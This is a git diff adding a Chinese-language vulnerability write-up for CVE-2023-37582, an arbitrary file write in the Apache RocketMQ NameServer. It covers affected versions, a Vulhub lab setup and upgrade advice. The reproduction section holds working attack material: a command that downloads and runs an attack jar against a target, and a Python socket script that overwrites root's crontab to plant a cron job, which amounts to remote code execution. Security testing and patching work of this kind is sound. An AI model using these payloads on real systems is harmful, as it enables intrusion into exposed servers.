diff --git a/中间件漏洞/Apache RocketMQ NameServer 任意文件写入漏洞 CVE-2023-37582.md b/中间件漏洞/Apache RocketMQ NameServer 任意文件写入漏洞 CVE-2023-37582.md new file mode 100644 index 0000000..06678a7 --- /dev/null +++ b/中间件漏洞/Apache RocketMQ NameServer 任意文件写入漏洞 CVE-2023-37582.md @@ -0,0 +1,88 @@ +# Apache RocketMQ NameServer 任意文件写入漏洞 CVE-2023-37582 + +## 漏洞描述 + +Apache RocketMQ 是一个分布式消息和流处理平台,具有低延迟、高性能和可靠性、万亿级容量和灵活的可扩展性。 + +在 RocketMQ 版本 5.1.1 及以下版本中,NameServer 组件存在一个任意文件写入漏洞。该漏洞存在于 RocketMQ 的 NameServer 组件的配置更新功能中。通过向 NameServer 发送 `UPDATE_NAMESRV_CONFIG` 命令,攻击者可以修改 `configStorePath` 配置项及其内容,从而导致任意文件写入。 + +该漏洞源于对 [CVE-2023-33246](https://github.com/vulhub/vulhub/tree/master/rocketmq/CVE-2023-33246) 的不完全修复。在处理 CVE-2023-33246 时,官方团队建立了一个不能被修改的配置项黑名单。然而,补丁错误地将黑名单指定为 `configStorePathName`,而应该是 `configStorePath`,导致了这一结果。 + +参考链接: + +- https://github.com/apache/rocketmq/pull/6843 +- https://drun1baby.top/2023/11/21/CVE-2023-37582-Apache-RocketMQ-RCE-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/ +- https://github.com/Malayke/CVE-2023-37582_EXPLOIT + +## 漏洞影响 + +``` +RocketMQ < 4.9.7 +RocketMQ < 5.1.2 +``` + +## 网络测绘 + +``` +title="RocketMQ" +``` + +## 环境搭建 + +Vulhub 执行如下命令启动一个 RocketMQ NameServer 5.1.0: + +```shell +docker compose up -d +``` + +环境启动后,RocketMQ 的 NameServer 将会监听在 9876 端口。 + +## 漏洞复现 + +使用这个 Vulhub 项目 [rocketmq-attack](https://github.com/vulhub/rocketmq-attack) 来复现漏洞并写入任意文件: + +```shell +wget https://github.com/vulhub/rocketmq-attack/releases/download/1.1/rocketmq-attack-1.1-SNAPSHOT.jar +java -jar rocketmq-attack-1.1-SNAPSHOT.jar AttackNamesrv --target your-ip:9876 --file "/tmp/awesome_poc" --data "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" +``` + +执行完成后,可以验证文件是否写入成功: + +```shell +cat /tmp/awesome_poc +``` + +![](images/Apache%20RocketMQ%20NameServer%20任意文件写入漏洞%20CVE-2023-37582/image-20250210115056589.png) + +定时任务: + +```python +import socket +import binascii +client = socket.socket() +# you ip port(9876) +client.connect((target_ip,target_port)) +# data +json = '{"code":318,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":435}'.encode('utf-8') +body='configStorePath=/var/spool/cron/crontabs/root\nbrokerConfigPath=/var/spool/cron/crontabs/root\nbindAddress=0.0.0.0\\n*/1 * * * * touch /tmp/success'.encode('utf-8') +json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) +head1 = '00000000'+str(hex(json_lens))[2:] +print(head1) +all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens) +head2 = '00000000'+str(hex(all_lens))[2:] +print(head2) +data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') +# send +client.send(bytes.fromhex(data)) +data_recv = client.recv(1024) +print(data_recv) +``` + +## 漏洞修复 + +目前官方已发布安全版本,建议受影响用户升级至: + +- RocketMQ 5.x >= 5.1.2 +- RocketMQ 4.x >= 4.9.7 + +官方补丁下载地址: https://rocketmq.apache.org/download/ ,同时建议将 NameServer、Broker 等组件部署在内网,并增加权限认证。 diff --git a/中间件漏洞/images/Apache RocketMQ NameServer 任意文件写入漏洞 CVE-2023-37582/image-20250210115056589.png b/中间件漏洞/images/Apache RocketMQ NameServer 任意文件写入漏洞 CVE-2023-37582/image-20250210115056589.png new file mode 100644 index 0000000..623fb4c Binary files /dev/null and b/中间件漏洞/images/Apache RocketMQ NameServer 任意文件写入漏洞 CVE-2023-37582/image-20250210115056589.png differ